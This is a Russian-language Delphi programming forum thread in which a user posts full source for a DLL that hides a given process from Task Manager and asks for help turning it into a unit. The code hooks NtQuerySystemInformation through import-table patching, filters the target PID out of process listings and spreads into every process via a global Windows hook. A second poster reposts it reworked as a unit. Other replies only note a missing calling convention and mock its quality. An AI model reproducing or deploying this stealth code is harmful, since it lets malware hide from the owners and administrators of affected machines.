Модераторы: Poseidon
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Помогите сделать модуль! Из исходника! 
:(
    Опции темы
Pariah
  Дата 10.5.2006, 17:21 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 95
Регистрация: 25.1.2006

Репутация: нет
Всего: нет



Дарова народ плиз сделайте из этого исходника модуль а то у меня чото неполучается smile 

Вот код :
Код

uses
  Windows,
  SysUtils,
  ImageHlp,
  TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
  SystemBasicInformation, 
  SystemProcessorInformation, 
  SystemPerformanceInformation, 
  SystemTimeOfDayInformation, 
  SystemNotImplemented1, 
  SystemProcessesAndThreadsInformation, 
  SystemCallCounts, 
  SystemConfigurationInformation, 
  SystemProcessorTimes, 
  SystemGlobalFlag, 
  SystemNotImplemented2, 
  SystemModuleInformation,
  SystemLockInformation, 
  SystemNotImplemented3, 
  SystemNotImplemented4, 
  SystemNotImplemented5, 
  SystemHandleInformation, 
  SystemObjectInformation, 
  SystemPagefileInformation, 
  SystemInstructionEmulationCounts, 
  SystemInvalidInfoClass1, 
  SystemCacheInformation, 
  SystemPoolTagInformation, 
  SystemProcessorStatistics, 
  SystemDpcInformation, 
  SystemNotImplemented6, 
  SystemLoadImage, 
  SystemUnloadImage, 
  SystemTimeAdjustment, 
  SystemNotImplemented7, 
  SystemNotImplemented8, 
  SystemNotImplemented9, 
  SystemCrashDumpInformation, 
  SystemExceptionInformation, 
  SystemCrashDumpStateInformation, 
  SystemKernelDebuggerInformation, 
  SystemContextSwitchInformation, 
  SystemRegistryQuotaInformation, 
  SystemLoadAndCallImage, 
  SystemPrioritySeparation, 
  SystemNotImplemented10, 
  SystemNotImplemented11, 
  SystemInvalidInfoClass2, 
  SystemInvalidInfoClass3, 
  SystemTimeZoneInformation, 
  SystemLookasideInformation, 
  SystemSetTimeSlipEvent, 
  SystemCreateSession, 
  SystemDeleteSession, 
  SystemInvalidInfoClass4, 
  SystemRangeStartInformation, 
  SystemVerifierInformation, 
  SystemAddVerifier, 
  SystemSessionProcessesInformation 
); 

_IMAGE_IMPORT_DESCRIPTOR = packed record 
  case Integer of 
    0:(
      Characteristics: DWORD); 
    1:( 
      OriginalFirstThunk:DWORD; 
      TimeDateStamp:DWORD; 
      ForwarderChain: DWORD; 
      Name: DWORD; 
      FirstThunk: DWORD); 
  end; 
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR; 
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR; 

PFARPROC=^FARPROC; 

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule); 
var ulSize: ULONG; 
    pImportDesc: PIMAGE_IMPORT_DESCRIPTOR; 
    pszModName: PChar; 
    pThunk: PDWORD; ppfn:PFARPROC; 
    ffound: LongBool; 
    written: DWORD; 
begin 
  pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize); 
  if pImportDesc = nil then exit; 
  while pImportDesc.Name <> 0 do begin 
    pszModName := PChar(hmodCaller + pImportDesc.Name); 
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break; 
    Inc(pImportDesc); 
  end; 
  
  if (pImportDesc.Name = 0) then exit; 
  pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^ <> 0 do begin 
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent); 
    if (fFound) then begin 
      VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written); 
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written); 
      exit; 
    end; 
    Inc(pThunk); 
  end; 
end; 

var addr_NtQuerySystemInformation: Pointer; 
    mypid: DWORD; 
    fname: PCHAR; 
    mapaddr: PDWORD; 
    hideOnlyTaskMan: PBOOL; 

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer; 
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall; 
label onceagain, getnextpidstruct, quit, fillzero; 
asm 
  push ReturnLength 
  push SystemInformationLength 
  push SystemInformation 
  push dword ptr SystemInformationClass 
  call dword ptr [addr_NtQuerySystemInformation] 
  or eax,eax 
  jl quit 
  cmp SystemInformationClass, SystemProcessesAndThreadsInformation 
  jne quit 

  onceagain: 
  mov esi, SystemInformation 

  getnextpidstruct: 
  mov ebx, esi 
  cmp dword ptr [esi],0 
  je quit 
  add esi, [esi] 
  mov ecx, [esi+44h] 
  cmp ecx, mypid 
  jne getnextpidstruct 
  mov edx, [esi] 
  test edx, edx 
  je fillzero 
  add [ebx], edx 
  jmp onceagain 

  fillzero: 
  and [ebx], edx 
  jmp onceagain 

  quit: 
  mov Result, eax 
end; 

procedure InterceptFunctions;
var hSnapShot: THandle; 
    me32: MODULEENTRY32; 
begin 
  addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); 
  hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); 
  if hSnapshot=INVALID_HANDLE_VALUE then exit; 
  try 
    ZeroMemory(@me32,sizeof(MODULEENTRY32)); 
    me32.dwSize:=sizeof(MODULEENTRY32); 
    Module32First(hSnapShot,me32); 
    repeat 
      ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule); 
    until not Module32Next(hSnapShot,me32); 
  finally 
    CloseHandle(hSnapShot); 
  end; 
end; 

procedure UninterceptFunctions; 
var hSnapShot: THandle; 
    me32: MODULEENTRY32; 
begin 
  addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation'); 
  hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId); 
  if hSnapshot=INVALID_HANDLE_VALUE then exit; 
  try 
    ZeroMemory(@me32,sizeof(MODULEENTRY32)); 
    me32.dwSize:=sizeof(MODULEENTRY32); 
    Module32First(hSnapShot,me32); 
    repeat 
      ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule); 
    until not Module32Next(hSnapShot,me32); 
  finally 
    CloseHandle(hSnapShot); 
  end; 
end; 


var HookHandle: THandle; 

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall; 
begin 
  Result:=0; 
end; 

procedure InstallHook; stdcall; 
begin 
  HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0); 
end; 

var hFirstMapHandle:THandle; 

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall; 
var addrMap: PDWORD; 
    ptr2: PBOOL; 
begin 
  mypid:=0; 
  result:=false; 
  hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping'); 
  if hFirstMapHandle=0 then exit; 
  addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8); 
  if addrMap=nil then begin 
    CloseHandle(hFirstMapHandle); 
    exit; 
  end; 
  addrMap^:=pid; 
  ptr2:=PBOOL(DWORD(addrMap)+4); 
  ptr2^:=HideOnlyFromTaskManager; 
  UnmapViewOfFile(addrMap); 
  InstallHook; 
  result:=true; 
end; 

exports HideProcess; 

var 
hmap: THandle; 

procedure LibraryProc(Reason: Integer); 
begin 
  if Reason = DLL_PROCESS_DETACH then 
  if mypid > 0 then UninterceptFunctions() 
  else CloseHandle(hFirstMapHandle); 
end; 

begin 
  hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping'); 
  if hmap=0 then exit; 
  try 
    mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0); 
    if mapaddr=nil then exit; 
    mypid:=mapaddr^; 
    hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4); 
    if hideOnlyTaskMan^ then begin 
      fname:=allocMem(MAX_PATH+1); 
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1); 
      if not (ExtractFileName(fname)='taskmgr.exe') then exit; 
    end; 
    InterceptFunctions; 
  finally 
    UnmapViewOfFile(mapaddr); 
    CloseHandle(Hmap); 
    DLLProc:=@LibraryProc; 
  end; 
end.
 
PM MAIL   Вверх
Rennigth
Дата 10.5.2006, 17:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Участник Клуба
Сообщений: 1708
Регистрация: 21.6.2004
Где: Moscow

Репутация: нет
Всего: 76



ну что-то вроде... правда не компилил...
Код

unit Unit1;

interface

uses
  Windows,
  SysUtils,
  ImageHlp,
  TlHelp32;

type
  SYSTEM_INFORMATION_CLASS = (
    SystemBasicInformation,
    SystemProcessorInformation,
    SystemPerformanceInformation,
    SystemTimeOfDayInformation,
    SystemNotImplemented1,
    SystemProcessesAndThreadsInformation,
    SystemCallCounts,
    SystemConfigurationInformation,
    SystemProcessorTimes,
    SystemGlobalFlag,
    SystemNotImplemented2,
    SystemModuleInformation,
    SystemLockInformation,
    SystemNotImplemented3,
    SystemNotImplemented4,
    SystemNotImplemented5,
    SystemHandleInformation,
    SystemObjectInformation,
    SystemPagefileInformation,
    SystemInstructionEmulationCounts,
    SystemInvalidInfoClass1,
    SystemCacheInformation,
    SystemPoolTagInformation,
    SystemProcessorStatistics,
    SystemDpcInformation,
    SystemNotImplemented6,
    SystemLoadImage,
    SystemUnloadImage,
    SystemTimeAdjustment,
    SystemNotImplemented7,
    SystemNotImplemented8,
    SystemNotImplemented9,
    SystemCrashDumpInformation,
    SystemExceptionInformation,
    SystemCrashDumpStateInformation,
    SystemKernelDebuggerInformation,
    SystemContextSwitchInformation,
    SystemRegistryQuotaInformation,
    SystemLoadAndCallImage,
    SystemPrioritySeparation,
    SystemNotImplemented10,
    SystemNotImplemented11,
    SystemInvalidInfoClass2,
    SystemInvalidInfoClass3,
    SystemTimeZoneInformation,
    SystemLookasideInformation,
    SystemSetTimeSlipEvent,
    SystemCreateSession,
    SystemDeleteSession,
    SystemInvalidInfoClass4,
    SystemRangeStartInformation,
    SystemVerifierInformation,
    SystemAddVerifier,
    SystemSessionProcessesInformation
  );

  _IMAGE_IMPORT_DESCRIPTOR = packed record
  case Integer of
    0:(
      Characteristics: DWORD);
    1:(
      OriginalFirstThunk:DWORD;
      TimeDateStamp:DWORD;
      ForwarderChain: DWORD;
      Name: DWORD;
      FirstThunk: DWORD);
  end;
  IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
  PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

  PFARPROC=^FARPROC;

  procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
  SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt;
  procedure InterceptFunctions;
  procedure UninterceptFunctions;
  function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
  procedure InstallHook; stdcall;
  function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
  procedure LibraryProc(Reason: Integer);

implementation

var
  addr_NtQuerySystemInformation: Pointer;
  mypid: DWORD;
  fname: PCHAR;
  mapaddr: PDWORD;
  hideOnlyTaskMan: PBOOL;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var
  ulSize: ULONG;
  pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
  pszModName: PChar;
  pThunk: PDWORD; ppfn:PFARPROC;
  ffound: LongBool;
  written: DWORD;
begin
  pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then exit;
  while pImportDesc.Name <> 0 do begin
    pszModName := PChar(hmodCaller + pImportDesc.Name);
    if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
  end;

  if (pImportDesc.Name = 0) then exit;
  pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^ <> 0 do begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
    if (fFound) then begin
      VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
      WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
      exit;
    end;
    Inc(pThunk);
  end;
end;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
  SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label
  onceagain, getnextpidstruct, quit, fillzero;
asm
  push ReturnLength
  push SystemInformationLength
  push SystemInformation
  push dword ptr SystemInformationClass
  call dword ptr [addr_NtQuerySystemInformation]
  or eax,eax
  jl quit
  cmp SystemInformationClass, SystemProcessesAndThreadsInformation
  jne quit

  onceagain:
  mov esi, SystemInformation

  getnextpidstruct:
  mov ebx, esi
  cmp dword ptr [esi],0
  je quit
  add esi, [esi]
  mov ecx, [esi+44h]
  cmp ecx, mypid
  jne getnextpidstruct
  mov edx, [esi]
  test edx, edx
  je fillzero
  add [ebx], edx
  jmp onceagain

  fillzero:
  and [ebx], edx
  jmp onceagain

  quit:
  mov Result, eax
end;

procedure InterceptFunctions;
var
  hSnapShot: THandle;
  me32: MODULEENTRY32;
begin
  addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
  hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
      ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
    CloseHandle(hSnapShot);
  end;
end;

procedure UninterceptFunctions;
var
  hSnapShot: THandle;
  me32: MODULEENTRY32;
begin
  addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
  hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
    repeat
      ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
    CloseHandle(hSnapShot);
  end;
end;


var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer;
begin
  Result := 0;
end;

procedure InstallHook;
begin
  HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
    ptr2: PBOOL;
begin
  mypid:=0;
  result:=false;
  hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
  if hFirstMapHandle=0 then exit;
  addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
  if addrMap=nil then begin
    CloseHandle(hFirstMapHandle);
    exit;
  end;
  addrMap^:=pid;
  ptr2:=PBOOL(DWORD(addrMap)+4);
  ptr2^:=HideOnlyFromTaskManager;
  UnmapViewOfFile(addrMap);
  InstallHook;
  result:=true;
end;

exports HideProcess;

var
  hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
  if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then UninterceptFunctions()
  else CloseHandle(hFirstMapHandle);
end;

begin
  hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
  if hmap=0 then exit;
  try 
    mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0); 
    if mapaddr=nil then exit;
    mypid:=mapaddr^;
    hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
    if hideOnlyTaskMan^ then begin
      fname:=allocMem(MAX_PATH+1);
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
      if not (ExtractFileName(fname)='taskmgr.exe') then exit;
    end;
    InterceptFunctions;
  finally
    UnmapViewOfFile(mapaddr);
    CloseHandle(Hmap);
    DLLProc:=@LibraryProc;
  end;
end.

  

Это сообщение отредактировал(а) Rennigth - 10.5.2006, 17:35


--------------------
(* Honesta mors turpi vita potior *)
PM MAIL ICQ   Вверх
Pariah
Дата 10.5.2006, 17:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 95
Регистрация: 25.1.2006

Репутация: нет
Всего: нет



не..
мне надо чтоб он без багов в модуле SysUtils компилился... 
PM MAIL   Вверх
Poseidon
Дата 10.5.2006, 17:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Delphi developer
****


Профиль
Группа: Комодератор
Сообщений: 5273
Регистрация: 4.2.2005
Где: Гомель, Беларусь

Репутация: 5
Всего: 133



Цитата(Pariah @  10.5.2006,  17:43 Найти цитируемый пост)
мне надо чтоб он без багов в модуле SysUtils компилился... 
SysUtils хочешь переделать? Лучше не стоит
 


--------------------
Если хочешь, что бы что-то работало - используй написанное, 
если хочешь что-то понять - пиши сам...
PM MAIL ICQ   Вверх
Nickel
Дата 10.5.2006, 19:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 77
Регистрация: 7.2.2006

Репутация: нет
Всего: 4



Код

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
  SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;

Rennigth stdcall пропустил  smile  
PM   Вверх
Rouse_
Дата 10.5.2006, 20:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 469
Регистрация: 23.4.2005

Репутация: 1
Всего: 29



Какой страшный код smile Не советую его использовать без правки явных ошибок... 


--------------------
 Vae Victis
(Горе побежденным (лат.))
Демо с открытым кодом: http://rouse.drkb.ru 
PM MAIL WWW ICQ   Вверх
RA
Дата 10.5.2006, 21:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Брутальный буратина
****


Профиль
Группа: Участник Клуба
Сообщений: 3497
Регистрация: 31.3.2002
Где: Лес

Репутация: нет
Всего: 115



Nickel, 
Rennigth, 
Yanis, 

Товарищи ну как вам не стыдно, этож либа. smile   

Это сообщение отредактировал(а) RAdmin - 10.5.2006, 21:31
PM   Вверх
Rouse_
Дата 10.5.2006, 23:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 469
Регистрация: 23.4.2005

Репутация: 1
Всего: 29



Цитата(RAdmin @  10.5.2006,  22:12 Найти цитируемый пост)
Товарищи ну как вам не стыдно, этож либа.

Это не либа, это (пардон) попа. И начинается данная попа вот от сих строк smile
Код

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer;
begin
  Result := 0;
end;

Если продолжать ее экзекутировать, то данная либа из выприведенного органа рискует вырасти до среднестатестического заднего отверстия, которому, даже при всем напряжении седалищных мышц, увы нельзя будет придать полной герметичности smile  

Это сообщение отредактировал(а) Rouse_ - 11.5.2006, 08:21


--------------------
 Vae Victis
(Горе побежденным (лат.))
Демо с открытым кодом: http://rouse.drkb.ru 
PM MAIL WWW ICQ   Вверх
Pariah
Дата 11.5.2006, 15:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 95
Регистрация: 25.1.2006

Репутация: нет
Всего: нет



да этот код DLL- ки!но кидать с exe неесть гуд!
вот и хочу в модуль превратить smile  smile 
 
PM MAIL   Вверх
RA
Дата 11.5.2006, 17:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Брутальный буратина
****


Профиль
Группа: Участник Клуба
Сообщений: 3497
Регистрация: 31.3.2002
Где: Лес

Репутация: нет
Всего: 115



Rouse_, я просто подумал что 
Цитата(Rouse_ @  10.5.2006,  23:18 Найти цитируемый пост)
Это не либа, это (пардон) попа.


Просто у товарищей не компилилось  smile , я подумал, что  их ввело в заблуждение отсутвие строчки library.

Цитата(Rouse_ @  10.5.2006,  23:18 Найти цитируемый пост)
Если продолжать ее экзекутировать, то данная либа из выприведенного органа рискует вырасти до среднестатестического заднего отверстия, которому, даже при всем напряжении седалищных мышц, увы нельзя будет придать полной герметичности


Незабывай, мы же пишем "невидимый творитель добра"  smile  начало тут

 
PM   Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Центр помощи"

ВНИМАНИЕ! Прежде чем создавать темы, или писать сообщения в данный раздел, ознакомьтесь, пожалуйста, с Правилами форума и конкретно этого раздела.
Несоблюдение правил может повлечь за собой самые строгие меры от закрытия/удаления темы до бана пользователя!


  • Название темы должно отражать её суть! (Не следует добавлять туда слова "помогите", "срочно" и т.п.)
  • При создании темы, первым делом в квадратных скобках укажите область, из которой исходит вопрос (язык, дисциплина, диплом). Пример: [C++].
  • В названии темы не нужно указывать происхождение задачи (например "школьная задача", "задача из учебника" и т.п.), не нужно указывать ее сложность ("простая задача", "легкий вопрос" и т.п.). Все это можно писать в тексте самой задачи.
  • Если Вы ошиблись при вводе названия темы, отправьте письмо любому из модераторов раздела (через личные сообщения или report).
  • Для подсветки кода пользуйтесь тегами [code][/code] (выделяйте код и нажимаете на кнопку "Код"). Не забывайте выбирать при этом соответствующий язык.
  • Помните: один топик - один вопрос!
  • В данном разделе запрещено поднимать темы, т.е. при отсутствии ответов на Ваш вопрос добавлять новые ответы к теме, тем самым поднимая тему на верх списка.
  • Если вы хотите, чтобы вашу проблему решили при помощи определенного алгоритма, то не забудьте описать его!
  • Если вопрос решён, то воспользуйтесь ссылкой "Пометить как решённый", которая находится под кнопками создания темы или специальным флажком при ответе.

Более подробно с правилами данного раздела Вы можете ознакомится в этой теме.

Если Вам помогли и атмосфера форума Вам понравилась, то заходите к нам чаще! С уважением, Poseidon, Rodman

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Центр помощи | Следующая тема »


 




[ Время генерации скрипта: 0.0549 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.